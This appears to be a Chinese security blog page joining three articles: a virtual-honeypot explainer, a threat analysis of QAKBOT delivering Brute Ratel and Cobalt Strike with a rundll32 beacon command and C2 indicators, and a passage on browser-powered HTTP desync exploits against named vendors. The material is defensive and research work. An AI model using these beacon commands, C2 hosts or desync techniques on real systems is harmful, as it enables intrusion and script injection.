5.保持系統保更新到最新版本。

HireHackking

虛擬蜜罐是由一台計算機模擬的系統，但是可以響應發送給虛擬蜜罐的網絡流量，今天我們來淺析一下虛擬蜜罐。

蜜罐可以運行任何操作系統和任意數量的服務。蜜罐根據交互程度（Level ofInvolvement）的不同可以分為高交互蜜罐和低交互蜜罐。蜜罐的交互程度是指攻擊者與蜜罐相互作用的程度，高交互蜜罐提供給入侵者一個真實的可進行交互的系統，相反，低交互蜜罐只可以模擬部分系統的功能。高交互蜜罐和真實係統一樣可以被完全攻陷，允許入侵者獲得系統完全的訪問權限，並可以以此為跳板實施進一步的網絡攻擊。相反的，低交互蜜罐只能模擬部分服務、端口、響應，入侵者不能通過攻擊這些服務獲得完全的訪問權限。

蜜罐分為高交互蜜罐、低交互蜜罐、物理蜜罐、虛擬蜜罐。從實現方法上來分，蜜罐可分為物理蜜罐和虛擬蜜罐。物理蜜罐是網絡上一台真實的完整計算機，虛擬蜜罐是由一台計算機模擬的系統，但是可以響應發送給虛擬蜜罐的網絡流量。今天我們來淺析一下虛擬蜜罐。

1.png

對比物理蜜罐而言，虛擬蜜罐要容易得多。可以在一台計算機上部署數千個蜜罐，代價低廉，幾乎所有人都可以很容易地使用它們，並且使得其更加容易維護以及較低的物理需求。很多時候我們會使用VMware或者用戶模式的Linux (UML）等來建立虛擬蜜罐，這些虛擬系統工具可以在一台物理計算機上運行多個蜜罐系統及應用程序來收集數據。

虛擬蜜罐通常會模擬出真實的操作系統，並將其部屬在一台宿主主機上。在虛擬系統中虛擬出漏洞，產生虛假的流量，偽裝不存在的文件地址，存儲真實但無意義的文件，對網絡中的各種信息進行模擬等，來更好的吸引入侵者的攻擊虛擬蜜罐。

一是IP地址的空間欺騙。用一台主機就可以完成，利用在一個網卡來分配複數個IP地址，並對每一個IP地址配置單獨的MAC地址，可以完成多個主機的虛擬。

第二個是仿真網絡流量。因為虛擬蜜罐在一般情況下不會與其他主機主動進行交互，也就沒有任何的網絡流量，容易被入侵者根據這一點識破虛擬蜜罐。所以產生方針流量以後，可以欺騙入侵者，使入侵者無法通過對流量的觀察來判斷虛擬蜜罐的存在。

第三個是系統的動態配置。在正常狀態下，一個虛擬蜜罐的狀態是靜態的，沒有交互和網絡流量，一些有經驗的入侵者可以通過觀察系統的狀態來判斷是否是虛擬蜜罐。而係統的動態配置正是針對這一點，虛擬蜜罐的系統狀態會不斷的發生變化，會盡可能的模擬一個真實係統的行為，防止入侵者輕易的就發現虛擬蜜罐，導致其失去作用。

第四個是組織信息欺騙。可以在虛擬蜜罐裡設置一些個人信息，或者存儲一些沒有意義的虛假信息、文件等，可以讓虛擬蜜罐看起來更像是一個有人使用的真實係統，增加對入侵者的迷惑性。

第五個是端口重定向技術。這種技術可以對地址進行數次轉換，區別真實和虛擬網絡，也可以對常用端口進行重定向，達到隱藏這些端口的目的。

當多個蜜罐組成網絡時稱為密網，而一個密網的核心是蜜牆，也就是密網網關。蜜牆主要功能：

數據捕捉：可以在不被入侵者察覺的情況下，對密網內所有的活動和網絡數據信息進行捕捉。

數據控制：對進出密網的數據進行流量控制。這樣可以在內部蜜罐被攻破以後，確保其所有的活動依然被限制在蜜網之內。

數據分析：幫助密網管理者簡化捕捉數據分析，並可以幫助計算機和網絡取證。

常用的實現虛擬蜜罐的技術主要有VMware、用戶模式Linux、Argos、LaBrea、Honeyd等。

（1）VMware技術VMware公司是老牌的虛擬化軟件公司之一，其提供了多種虛擬化軟件應對不同的狀況。虛擬化軟件表示軟件可以模擬一個完整的計算機系統，並且可以在同一個虛擬機上可能運行多個不同的操作系統。下面介紹VMware公司的一些產品，這些VMware產品相互之間的不同點。

實際安裝VMware 的物理機器，執行VMware進程的計算機和操作系統實例稱為主機（或宿主主機）。運行在虛擬機內部的操作系統被稱為客戶系統或客戶虛擬機。兩種系統之間的交互是完全透明的，例如在主機和客戶系統之間，使用VMware可以共享文件夾、複製粘貼各種文件。

虛擬系統起到一個類似於模擬器的作用，主機的物理CPU和內存資源可以被主機與客戶虛擬機共享，但同時客戶操作系統也可以從VMware中分配到一套完整的虛擬硬件資源。例如，在多個客戶系統中，一套相同的虛擬硬件資源可以被所有的客戶系統所使用，就像同一配置的多台計算機安裝不同的操作系統，而且這些虛擬硬件可以在不超過客戶虛擬機配置的情況下任意的進行設置，不需要考慮真實物理硬件資源，這些硬件資源都可以連至主機系統。

2.png

（2）用戶模式Linux用戶模式Linux 是另一種可以用來創建虛擬蜜罐的系統，用法十分簡單，但是與VMware相比，主要缺點就是它只能模擬Linux系統。

UML是一個Linux內核的體系結構端口，系統內稱為接口。 Linux內核本身可以作為一個用戶進程來運行，實際的Linux內核（主機系統〉執行另外一個Linux（客戶系統）實例，把它作為一個進程。這個過程與VMware 中的虛擬機類似，每一個UML實例都是一個完整的虛擬機，與一個真實的計算機幾乎沒什麼區別。於是就有了一個簡單的方法來實現虛擬機，直接使用UML建立一個虛擬蜜罐，獲得一個虛擬系統提供的所有優點。在配置或穩定性上，客戶系統不會影響到主機系統。UML的塊設備，也稱為磁盤，通常是主機文件系統上的文件，不會影響存儲正常數據的本地塊設備。

UML作為一個操作系統只能運行在Linux上，所以如果運行Windows 或其他系統的時候，不能使用這種方式創建蜜罐。看起來只能選擇Linux系統缺點很嚴重，但也並非沒有好處，使用UML可以方便的創建許多不同的運行Linux的蜜罐。由於UML的塊設備是正常的文件，客戶系統使用這一文件（通常稱為根文件系統）作為一個完整的文件系統，可以很容易的把一個UML實例從一台機器上移植到另一台機器上。 UML 的另一個選項實用性也很強，能夠在寫時復制（copy-on-write，COW)模式下使用文件，UML實例在只讀模式下使用跟文件系統,把所有的更改寫入到一個單獨的文件中-COw文件，使得幾個蜜罐可以同時使用一個根文件系統，即可以節省磁盤空間，又可以便於維護管理。

（3）ARGOS荷蘭阿姆斯特丹自由大學的研究人員開發了一種新型的虛擬高交互蜜罐，該工具被稱為Argos，能夠自動檢測零天（zero-day)攻擊，也就是尚無補丁的攻擊。他們使用一種名為動態污點分析的技術來監測蜜罐:第一步，標記所有通過網絡接收到的數據，通過內存追踪這些標記數據，一旦這些標記數據被使用，影響了執行流程，Argos檢測到這些並產生一個攻擊的內存痕跡。相對於其他虛擬蜜罐解決方案，Argos不只是執行客戶虛擬機，同時還密切監測蜜罐，試圖及時發現攻擊者成功攻陷蜜罐的切入點。

動態污點分析是Argos技術的核心，這種技術根本在於觀察，一個攻擊者控制一個給定程序的執行流程，他一定會是使用某種方式影響它，但不論是何種方式，攻擊者都必須向程序發送一個不正常的輸入，這樣的數據必定會影響執行流，例如，跳轉到攻擊者提供的數據。

在這一過程中，動態污點分析發揮作用，一個程序的所有外部輸入都被當作污點被標記。在分析過程中，密切監視和檢查所有污染變量的使用，當一個污染變量通過其他操作得到的結果也被認為受到污染:但如果一個污染變量被賦予一個固定值，則認為該變量不再是受污染變量。這樣就可以跟踪外部輸入的使用，一旦這種污染輸入用於改變執行流，就可以被檢測出來。對Argos 來說，它產生的信息轉儲包含引起正常執行流偏離的相關信息。這個方法對檢測網絡攻擊靈敏度很高，而且我們檢測攻擊無需任何先驗知識。當一個攻擊發生時，我們可以精確地檢測到，通過分析確定導致該事件的原因。

（4）LaBrea由Tom Liston 創作的LaBrea，因引入了一個tarpit概念而聞名。 tarpit是一種服務，作用是通過使TCP連接非常緩慢或完全停止它們的進程，試圖減緩垃圾郵件發送者發送速度甚至是蠕蟲的傳播速度，雖然tarpit並不能減緩更高級的蠕蟲傳播，然而，對於順序操作的簡單蠕蟲tarpit具有良好的作用。

在網絡上運行LaBrea時，它會發現空閒的IP地址，並代替它們應答連接。一旦連接被建立起來，LaBrea會通過在TCP協議中採用技巧而盡可能長時間地黏住發送者，這樣建立的連接會進入到一種不能再取得任何進展的狀態。拖延連接的原因很簡單，垃圾郵件或病毒發送者在服務器上每多維持一個連接，就減少了向真正的主機發送垃圾郵件的可用資源。

為了檢測一個IP地址是否可用，LaBrea利用ARP協議。每當路由器試圖向一個IP地址交付一個數據包時，它首先需要找到相應的MAC地址，如果沒有主機監聽這一IP地址，ARP不會獲得應答。

例如:12:20:40.439476 arp who-has 192.168.1.123 tell 192.168.1.2

由於ARP在整個網絡上進行廣播，LaBrca 監視來自路由器的ARP請求，如果網絡中沒有主機相應IP地址192.168.1.123，LaBrea就會發送自己的應答:

12:20:42.356431 arp reply 192.168.1.123 is-at 00:3c:2f:1e:52:7a

現在路由器收到了一個MAC地址，就會把這個數據包以及後去的數據包發送給LaBrea 主機。但當一個主機重新啟動,它可能會使用一個已經被LaBrea佔用的IP地址，不過重啟的主機會發送一個無需應答的ARP請求，通知網絡上的所有人新的IP地址和MAC的綁定，那麼LaBrea將會放棄該IP地址。 LaBrea接受網絡上所有空閒的IP地址的TCP連接，當它收到一個SYN包，它就會通過完成TCP 三次握於建立一個連接，然後拖延這個連接。 LaBrea支持兩種放慢連接傳輸速度的方法:

窗口調節:LaBrea接受一個新的連接，但會公佈一個非常小的接收窗口。接收窗口指示發送者，每個數據包不能發送大於窗口允許長度的數據。當採用窗口調節時，連接仍然在繼續，但當一個1000字節長度的包被要求以10個字節長度位單位進行傳輸，顯然傳輸時間會變得非常漫長，速率會變的非常緩慢。

持久捕捉:LaBrea 公佈一個TCP接收窗口的大小為0，指示發送者在繼續發送數據前等待。發送者周期地回訪，發送窗口探測數據包，以確定接收窗口是否再次打開，這種狀態可以一直持續下去。

當垃圾郵件發送者試圖通過一個La Brea 蜜罐發送電子郵件時，SMTP事務將不產生或者產生很小的進程，一個啞垃圾郵件發送者將保持該連接，浪費網絡資源。最終，垃圾郵件發送者一旦發現和La Brea會話沒有取得進展，它可能走掉。

當我們使用DHCP用於IP地址動態分配，LaBrea將接管DHCP地址範圍內目前尚未使用的地址。 DHCP服務器在分發一個IP地址前，往往首先ping該地址，但是LaBrea對ping 的響應會干擾DHCP服務器的判斷。隨著時間的推移，用戶歸還了他們租用的IP地址，最後LaBrea將接管整個DHCP地址空間。所以一個用戶需要知道哪些地址是被他的DHCP服務器使用，並在配置文件中排除它們。

3.png

（5）HoneydHoneyd是一種框架，可以把數千個虛擬蜜罐及對應的網絡集成到一起。通常我們使用Honeyd集成現有網絡上所有未分配的IP地址，對每一個IP地址，都可以設置Honeyd模擬不同的計算機行為。

一般的來說，當一個蜜罐只使用一個IP地址時，可能需要相當長的一段時間才可以探測到攻擊，但當你擁有的IP地址多達成百上千時，可以大大加快被攻擊的速度，這就是Honeyd的作用，以一個低交互虛擬蜜罐的框架，在一個網絡或者Internet 上建立數千個虛擬蜜罐，充分的利用未分配的網絡地址，來更多的觀察攻擊行為，或者用來阻止入侵者攻擊真實係統。

Honeyd通過路由器或代理ARP為其虛擬蜜罐接受流量，對於每一個蜜罐，Honeyd可以模擬不同的操作系統的網絡棧行為。

Honeyd的特性Honcyd可以同時模擬數幾千個不同的虛擬主機:入侵者可以通過網絡與每一個單獨的主機進行交互。可以通過配置Honeyd得到每個主機的不同行為。

通過配置文件可以配置任意服務:當入侵者與虛擬主機進行交互時，Honeyd可以提供與對手交互的任意程序，這些程序服務都可以使用配置文件進行配置。無論何時Honeyd收到一個新的網絡連接，都可以及時啟動事先配置好的服務或者程序，回應入侵者。即使不運行相應的程序，Honeyd也可以作為代理將連接轉接到其他主機上，或者採用類似於被動指紋識別的功能，識別遠程主機和負載的隨即採樣。

在TCP/IP協議棧層次模擬操作系統:這一特性允許Honeyd 欺騙Nmap和Xprobe,讓他們相信一個虛擬蜜罐上正運行著各種配置的操作系統。組建自由路由拓撲:路由拓撲可以任意複雜，可以配置延遲、丟包和帶寬等特徵。 Honeyd支持非對稱路由、物理機器集成到一個虛擬拓撲中，以及通過GRE隧道的分佈式操作。

子系統虛擬化:利用子系統，Honeyd可以在一個蜜罐的虛擬空間下執行真正的UNIX應用，如Web服務器、Ftp服務器等等。這一特徵也允許虛擬地址空間內進行動態端口綁定和網絡連接的後台初始化。

4.png

Honeyd的體系結構Honeyd使用一個簡單的體系結構，一個中央包分發器接受所有入侵者的網絡流量，基於實現確定好的配置，對收到的數據流量來創建不同的服務進程處理，為了匹配所配置操作系統的特徵，使用個性引擎所修改發送出去的網絡數據包。

雖然通過對Honeyd 的配置可以控制它的每一個方面，但是三個重要特徵決定了Honeyd的整體行為:

一是入侵者只能從網絡中與Honeyd進行交互，我們的基本假設是入侵者不能走近計算機或者鍵盤進行登錄，因為任何一個Honeyd模擬的蜜罐沒有與之對應的物理計算機，Honeyd不是模擬操作系統的每一個方面，只有模擬其網絡堆棧所以入侵者永遠無法獲得對一個完整系統的訪問，但是可以通過與虛擬機如VMware相結合，減小Honeyd的這一問題。

二是Honeyd 可以在網絡上佈置大量的虛擬蜜罐，即使分配大量的IP地址Honeyd也都能模擬出，可以具有不同的操作系統和服務，也可以模擬任意的網絡拓撲結構，並支持網絡隧道。

三是可以欺騙指紋識別工具，Honeyd可以反轉指紋識別工具的數據庫，找到數據庫中指紋識別的特徵，當一個蜜罐需要發送一個網絡數據包時，可以通過查找數據庫，改變所有的數出數據包內容，使它們與配置的操作系統特徵相匹配。

結語虛擬蜜罐技術具有物理蜜罐技術的諸多特性，並可以在單一的系統中運行成百上千個虛擬蜜罐，還可以添加諸多應用程序，如網絡誘餌、蠕蟲探測、垃圾郵件阻止、網絡模擬等。相對於物理蜜罐複雜的部署、高額的費用、超長的耗時，虛擬蜜罐技術作為蜜罐技術的突破性解決方案讓網絡安全防護成本降低、效率增加，在網絡安全技術方面也同樣有著重要的作用。

HireHackking

趨勢科技的研究人員最近分析了一個與QAKBOT相關的示例，該示例導致了Brute Ratel C4和Cobalt Strike有效負載，這可以歸因於Black Basta 勒索軟件組織。

QAKBOT的惡意軟件在短暫中斷後於2022年9月8日恢復傳播，當時研究人員在這一天發現了幾個傳播機制。觀察到的傳播方法包括SmokeLoader(使用' snow0x '傳播器ID)， Emotet(使用' azd '傳播器ID)，以及使用' BB '和' Obama20x ' ID的惡意垃圾郵件。

最近一個涉及QAKBOT ‘BB’傳播器的示例導致部署了Brute Ratel(被趨勢科技檢測為Backdoor.Win64.BRUTEL)，這是一個類似於Cobalt Strike的框架，作為第二階段有效負載。這是一個值得注意的進展，因為這是我們第一次通過QAKBOT感染觀察到Brute Ratel作為第二階段有效負載。這次攻擊還包括使用Cobalt Strike進行橫向移動。研究人員認為這些活動是Black Basta 勒索軟件組織所為。

攻擊的時間表1.png

Brute Ratel和其他CC框架的興起

與CobaltStrike一樣,BruteRatel是一種攻擊模擬工具，是商業CC框架領域的相對新的工具，它在該領域與更成熟的競爭者如Cobalt Strike競爭。

像Brute Ratel和Cobalt Strike這樣的攻擊模擬框架經常會被滲透測試專業人員使用，用於合法的滲透測試活動，在這些活動中組織尋求提高他們檢測和響應真實網絡攻擊的能力。這些框架用於從遠程位置提供實際的鍵盤訪問，以模擬攻擊者在網絡攻擊中使用的戰術、技術和過程(TTP)。

除了Cobalt Strike的合法使用示例外，它還因非法使用而臭名昭著，在過去幾年裡，它幾乎經常出現在勒索軟件攻擊中。它用作殭屍網絡的常見第二階段有效載荷，例如QAKBOT (TrojanSpy.Win64.QAKBOT)，IcedID (TrojanSpy.Win64.ICEDID)，Emotet (TrojanSpy.Win64.EMOTET) 和Bumblebee(Trojan.Win64.BUMBLELOADER) 等。不幸的是，在過去的幾年中，Cobalt Strike的幾個版本已被洩露，從而加速了攻擊者的惡意使用。

與Brute Ratel相比，由於其受歡迎程度高，其檢測覆蓋率比後者更大。這使得Brute Ratel和其他不太成熟的CC框架對惡意攻擊者來說越來越有吸引力，他們的活動可能在很長一段時間內都不會被發現。

Brute Ratel最近在黑市非常受歡迎，該框架的版本在地下組織中交易非常活躍，並發布了破解版本。 Brute Ratel的開發人員在最近的Twitter帖子中承認了這一漏洞。

2.png

QAKBOT 'BB' 到Brute Ratel

3.png

攻擊活動概況

該活動通過垃圾郵件開始，其中包含發送給潛在受害者的惡意新URL。 URL登錄頁面向收件人顯示ZIP文件的密碼。

4.png

已下載ZIP文件以及文件密碼的通知

繞過沙盒和安全檢測在此階段使用受密碼保護的ZIP文件可能是為了逃避安全解決方案的分析。

繞過安全檢測的標誌ZIP文件包含一個. iso文件。使用ISO文件是為了破壞“Mark of the Web (MOTW)” ，該標記將文件標記為從互聯網下載。它使這些文件受到Windows和終端安全解決方案的其他安全措施的影響。 ISO文件包含一個使用“Explorer”圖標的可見LNK文件和兩個隱藏的子目錄，每個子目錄包含各種文件和目錄。默認情況下，Windows操作系統不向用戶顯示隱藏文件。下圖說明了啟用“顯示隱藏文件”設置時用戶看到的內容。

5.png

啟用“顯示隱藏文件”設置時，用戶看到的添加隱藏子目錄

目錄結構如下：

6.png

目錄結構

命令行界面的執行順序QAKBOT在兩個腳本文件之間使用模糊處理，一個JavaScript (.js)文件和一個批處理腳本(.cmd)文件，很可能是為了隱藏看起來可疑的命令行。

9.png

命令行接口的執行順序

初始QAKBOT CC服務器通信C C基礎設施在地理上分佈在主要位於住宅Internet服務提供商(ISP) 寬帶網絡中的受損主機上。

這些“第1層”CC服務器被QAKBOT運營商認為是一次性的，並且幾乎每次有新的惡意軟件傳播時經常被更換，儘管有些服務器在多個QAKBOT惡意軟件配置中仍然存在。

自動化偵察命令在最初的CC通信之後僅6分鐘，並且QAKBOT惡意軟件現在在註入的進程(wermgr.exe)中運行，通過執行多個內置命令行工具在受感染的環境中執行自動偵察。這些命令行的執行順序如下：

10.png

內置命令行的執行順序

該活動在趨勢科技Vision One™中可見，它可以檢測到這些內置Windows命令的可疑使用。

11.png

顯示與wermgr.exe相關的活動

QAKBOT釋放Brute Ratel自動偵察活動完成五分鐘後，注入QAKBOT的wermgr.exe進程釋放Brute Ratel DLL，並通過帶有“main”導出函數的rundll32.exe子進程調用它。

12.png

Brute Ratel被wermgr.exe通過rundll32.exe進程調用

該後門是一個HTTPS，它在symantecuptimehost[.]com執行擁有Brute Ratel服務器的簽入：

13.png

Brute Ratel簽入

在環境中執行進一步的偵察，以識別特權用戶。首先，使用內置的net.exe和nltest.exe。

14.png

識別特權用戶的偵察過程

其次，SharpHound實用程序通過Brute Ratel在註入的svchost.exe進程中運行，以輸出JSON文件，這些文件被輸入到BloodHound，並被標記為Active Directory組織單元、組策略、域、用戶組、計算機和用戶。然後將這些文件打包到一個ZIP文件中，以便為信息竊取做準備。整個過程都是腳本化的，只需不到兩秒鐘就可以完成。

15.png

通過svchost.exe輸出JSON文件

Brute Ratel釋放Cobalt Strike有趣的是，攻擊者選擇利用Cobalt Strike進行橫向移動。將幾個信標文件中的第一個文件放到運行Brute Ratel C4的受感染終端上，第一個文件為：C:\Users\Public\Name-123456.xls。

使用以下命令在運行Brute Ratel C4的同一主機上執行此信標文件：rundll32 C:\users\public\Name-123456.xls,DllRegisterServer。

接下來，攻擊者釋放其他信標文件，並將這些文件複製到網絡上其他主機上的管理共享，再次使用帶有XLS附件的文件名。

C:\Users\Public\abcabc.xls

C:\Users\Public\abc-1234.xls

C:\Users\Public\Orders_12_34_56.xls

C:\Users\Public\MkDir.xls

用於復製文件的命令如下：

16.png

以下列表是信標C C服務器：

hxxps://fewifasoc[.]com | 45.153.242[.]251

hxxps://hadujaza[.]com | 45.153.241[.]88

hxxps://himiketiv[.]com | 45.153.241[.]64

在採取任何最終行動之前，攻擊者會被從環境中驅逐出去。

到Brute Ratel的QAKBOT ‘Obama’在另一個事件中，趨勢科技發現QAKBOT使用‘Obama’傳播者ID前綴(即“Obama208”)也將Brutel Ratel C4作為第二級有效負載。

在此示例中，惡意軟件以受密碼保護的ZIP文件的形式通過HTML走私傳遞，這允許攻擊者“走私”編碼的惡意腳本到HTML附件或網頁。一旦用戶在瀏覽器中打開HTML頁面，就會解碼腳本並組裝有效負載。

17.png

QAKBOT傳播者使用密碼保護來抵禦網絡和沙箱安全掃描

一旦使用HTML附件中提供的密碼解密了ZIP文件，用戶就會看到一個ISO文件。惡意文件包含在ISO文件中，被用作Web繞過的標記。在內部，ISO文件包含以下目錄結構：

18.png

ISO文件目錄結構

自從QAKBOT回歸以來，研究人員觀察到執行鏈中的多種形式，從腳本語言到文件擴展名，再到導出函數名和序號的使用。對於這種感染，使用的是以下變體：

19.png

感染過程與上述攻擊中描述的TTP(戰術、技術和程序)相同。但是，在C2配置中觀察到一個顯著差異，與更傳統的HTTPS C2通道相比該配置使用HTTPS (DoH) 上的DNS。觀察到的C C服務器使用了帶有let's-Encrypt的HTTPS。

通過使用DoH，攻擊者可以隱藏C2域的DNS查詢。如果沒有使用中間人(MitM) 技術檢查SSL/TLS流量，則對C2服務器的DNS查詢將不會被注意到。

20.png

通過HTTPS (DoH)上的DNS執行C C通信的Brute Ratel進程。在採取任何最終行動之前，攻擊已經得到緩解

與Black Basta的關係21.png

QakBot到Black Basta攻擊中使用的Brute Ratel和Cobalt Strike基礎結構

根據調查，研究人員可以確定QAKBOT-to-Brute Ratel-to-Cobalt Strike攻擊鏈與Black Basta組織有關。這是基於在Black Basta攻擊中觀察到的重疊ttp和基礎設施來判斷的。

總結用戶可以通過以下一些最佳實踐來阻止新的QAKBOT變體和其他通過電子郵件傳播的攻擊：

在下載附件或從電子郵件中選擇嵌入式鏈接之前，請驗證電子郵件發件人和內容；

將指針懸停在嵌入鏈接上方以顯示鏈接的目標；

檢查發件人的身份，不熟悉的電子郵件地址，不匹配的電子郵件和發件人姓名，以及偽造的公司郵件都是危險跡象；

如果電子郵件聲稱來自合法公司，請在採取任何行動之前驗證他們是否確實發送了電子郵件。

HireHackking

60a7-article-browser-powered_desync_attacks_article.jpg

瀏覽器驅動的異步攻擊：HTTP 請求走私（上）

示例探究通過自動檢測CSD 漏洞，我確定了一系列真正的易受攻擊的網站。在這一節中，我將研究其中四個更有趣的方法，並看看這種方法是如何發揮作用的。

Akamai——堆棧化HEAD在第一個案例中，我們將利用一個簡單的漏洞影響許多基於Akamai 構建的網站。作為示例目標，我將使用www.capitalone.ca。

當Akamai 發出重定向時，它會忽略請求的Content-Length 標頭，並將任何消息正文留在TCP/TLS 套接字上。 Capitalone.ca 使用Akamai 將對/assets 的請求重定向到/assets/，因此我們可以通過向該端點發出POST 請求來觸發CSD：

26.png

為了構建一個漏洞利用，我們將使用HEAD 方法將一組HTTP 標頭與text/html 的Content-Type 和一個由反映Location 標頭中的查詢字符串的標頭組成的'body'組合起來：

27.png

如果這是服務器端異步攻擊，我們可以在就此打住。然而，要想成功實現客戶端異步，我們需要解決兩個複雜問題。

第一個問題是初始重定向響應。為了執行注入的JavaScript，我們需要受害者的瀏覽器將響應呈現為HTML，但是301 重定向會被瀏覽器自動跟踪，從而阻止攻擊。一個簡單的解決方案是指定模式：'cors'，它會故意觸發CORS 漏洞。這可以防止瀏覽器跟隨重定向並使我們能夠通過調用catch() 而不是then() 來恢復攻擊序列。在catch block中，我們將使用location='https://www.capitalone.ca/' 觸發瀏覽器導航。我們可能傾向於使用iframe來進行導航，但可以使用跨網站攻擊緩解措施，例如同網站cookie。

第二個複雜的問題是所謂的“堆棧響應問題”。瀏覽器有一種機制，如果接收到的響應數據多於預期，則刪除連接。這極大地影響了對多個響應進行排隊的技術的可靠性，例如我們在這裡使用的HEAD方法。為了解決這個問題，我們需要延遲對HEAD 請求的404 響應。幸運的是，在這個目標上，我們可以很容易地實現這一點，方法是添加一個具有隨機值的參數來充當緩存攻擊器，觸發緩存未命中並產生約500 毫秒的延遲。利用結果如下所示：

28.png

已向Akamai 報告了此漏洞，但我不確定何時修復。

Cisco Web VPN——客戶端緩存攻擊我們的下一個目標是Cisco ASA WebVPN，它可以忽略幾乎所有端點上的Content-Length，因此我們只需向主頁發出POST 請求即可觸發異步。為了利用它，我們將使用Host-header 重定向小工具：

29.png

最簡單的攻擊是使用此重定向感染套接字，將受害者導航到/+CSCOE+/logon.html，並希望瀏覽器嘗試使用感染的套接字導入/+CSCOE+/win.js，然後被重定向，最終從我們的網站導入惡意JS。不幸的是，這是非常不可靠的，因為瀏覽器很可能會使用被感染的套接字進行初始導航。為了避免這個問題，我們將執行客戶端緩存攻擊。

首先，我們使用重定向感染套接字，然後將瀏覽器直接導航到/+CSCOE+/win.js：

30.png

請注意，此頂級導航對於繞過緩存分區至關重要- 嘗試使用fetch() 將攻擊漏洞的緩存。

瀏覽器將使用被感染的套接字，接收惡意重定向，並將其保存在本地緩存中以供https:/redacted/+CSCOE+/win.js 使用。然後，它將遵循重定向並返回我們的網站https://psres.net/+webvpn+/index.html。我們將瀏覽器重定向到登錄頁面https://redacted/+CSCOE+/logon.html，當瀏覽器開始出現登錄頁面時，它會嘗試導入/+CSCOE+/win.js 並發現它已經將其保存在其緩存中。資源加載將遵循緩存的重定向並向https://psres.net/+webvpn+/index.html 發出第二個請求。此時，我們的服務器可以使用一些惡意JavaScript 進行響應，這些JavaScript 將在目標網站的上下文中執行。

為了使這種攻擊起作用，攻擊者的網站需要在同一端點上同時提供重定向和惡意JS。我採取了一種懶惰的方法，並使用JS/HTML 多語言解決了這個問題——Chrome 似乎並不介意不正確的Content-Type：

31.png

我在2021 年11 月10 日向思科報告了這個問題，他們最終在2022 年3 月2 日宣布棄用該產品，他們不會修復它，但仍會為其標記為CVE-2022-20713。

Verisign——碎片化的chunk在尋找不同步矢量時，最好不要超出探測有效端點的範圍，而是鼓勵服務器使用不同尋常的代碼路徑。在嘗試使用像/.%2f 這樣的半格式漏洞的URL 時，我發現我可以通過POST 到/%2f 來觸發verisign.com 上的CSD。

我最初嘗試使用基於HEAD 的方法，類似於之前在Akamai 上使用的方法。不幸的是，這種方法依賴於基於Content-Length 的響應，並且服務器向所有沒有正文的請求發送分塊響應。此外，它拒絕了包含Content-Length 的HEAD 請求。最終，經過測試，我發現服務器會對HEAD 請求發出基於CL 的響應，前提是它們使用了Transfer-Encoding: chunked。

這在服務器端異步中幾乎沒有用，但是由於受害者的瀏覽器在我的控制之下，我可以準確地預測下一個請求的大小，並在單個chunk中使用它：

32.png

此攻擊是使用以下JavaScript 觸發的：

33.png

此漏洞於2022 年7 月21 日被成功修復。

Pulse SecureVPNPulse Secure VPN會忽略對靜態文件（如/robots.txt）的POST 請求的Content-Length。就像Cisco Web VPN 一樣，這個目標有一個主機標頭重定向小工具，我將使用它來劫持JavaScript 導入。但是，這次的重定向是不可緩存的。因此客戶端緩存攻擊是不可用的。

由於我們的目標是資源負載並且沒有攻擊客戶端緩存的預期，因此攻擊時機至關重要。我們需要受害者的瀏覽器成功加載目標網站上的頁面，然後使用攻擊連接加載JavaScript 子資源。

固有的競爭條件使這種攻擊不可靠，所以如果我們只有一次嘗試，它注定會失敗——我們需要設計一個環境，可以進行多次嘗試。為了實現這一點，我將創建一個單獨的窗口，並在攻擊者頁面上保留一個句柄。

在大多數目標頁面上，如果試圖劫持JS導入失敗，將導致瀏覽器緩存真正的JavaScript文件，在緩存的JS過期之前，該頁面不會受到此類攻擊。我能夠通過定位/dana-na/meeting/meeting_testjs.cgi來避免這個問題，它從/dana-na/meeting/url_meeting/appletRedirect.js加載JavaScript，這實際上並不存在，所以它返回一個404，並沒有保存在瀏覽器的緩存中。我還用一個冗長的標頭填充了注入的請求，以緩解堆棧響應漏洞。

這導致以下攻擊流程：

1.打開一個新窗口。

2.向目標發出無害的請求以建立新的連接，從而使計時更加一致。

3.將窗口導航到位於/meeting_testjs.cgi 的目標頁面。

4.120 毫秒後，使用重定向小工具創建三個攻擊連接。

5.5 毫秒後，在渲染/meeting_testjs.cgi 時，受害者可能會嘗試導入/appletRedirect.js 並被重定向到提供惡意JS的x.psres.net。

6.如果沒有，請重試攻擊。

最終的攻擊腳本如下：

34.png

基於暫停的異步如上所述，在HTTP 請求中間暫停並觀察服務器的反應可以揭示通過篡改請求的實際內容無法獲得的有用信息。事實證明，暫停還可以通過觸發漏洞的請求超時實現來創建新的異步漏洞。

這個漏洞類是不可見的，除非你的工具有比目標服務器更高的超時時間。我非常幸運地發現了它，因為我的工具應該有2秒的超時，但由於一個漏洞，它恢復到10秒的超時。我的管道還碰巧包含一個運行Varnish的單獨網站，該網站配置了自定義的5 秒超時。

VarnishVarnish 緩存有一個稱為synth() 的特性，它可以讓你在不將請求轉發到後端的情況下發出響應。下面是一個用來阻止訪問文件夾的規則示例：

36.png

當處理匹配synth規則的部分請求時，如果Varnish在15秒內沒有收到數據，它將超時。當這種情況發生時，即使它只從套接字讀取了一半的請求，它也會讓連接保持打開狀態以便重用。這意味著，如果客戶機繼續處理HTTP請求的後半部分，它將被解釋為一個新的請求。

要在易受攻擊的前端觸發基於暫停的異步，首先發送你的標頭，承諾正文，然後等待。最終你會收到一個響應，當你最終發送你的請求正文時，它會被解釋為一個新的請求：

37.png

Apache在這個發現之後，我碰到了Turbo Intruder 的請求超時，發現同樣的技術也適用於Apache。與Varnish一樣，它在服務器自己生成響應而不是讓應用程序處理請求的端點上很容易受到攻擊。發生這種情況的一種方法是使用服務器級重定向：

38.png

如果你發現一個服務器容易受到基於暫停的異步的影響，你有兩個利用它的選項，具體取決於它是前端還是後端。

服務器端如果易受攻擊的服務器在後端運行，你可能會觸發服務器端異步。為此，你需要一個將請求流傳輸到後端的前端。特別是，它需要在不緩衝整個請求正文的情況下以HTTP 標頭轉發。

39.png

這裡有一個小問題。前端不會讀取超時響應並將其傳遞給我們，直到看到我們發送完整的請求。因此，我們需要發送我們的標頭，暫停一段時間，然後在沒有提示的情況下繼續其餘的攻擊序列。我不知道有任何安全測試工具支持像這樣部分延遲請求，所以我在Turbo Intruder 中實現了支持。隊列接口現在有三個新參數：

pause before指定一個Turbo應該暫停的偏移量。

pauseMarker 是一種替代方案，它採用Turbo 在發出後應暫停的字符串列表。

pauseTime 指定暫停多長時間，以微秒為單位；

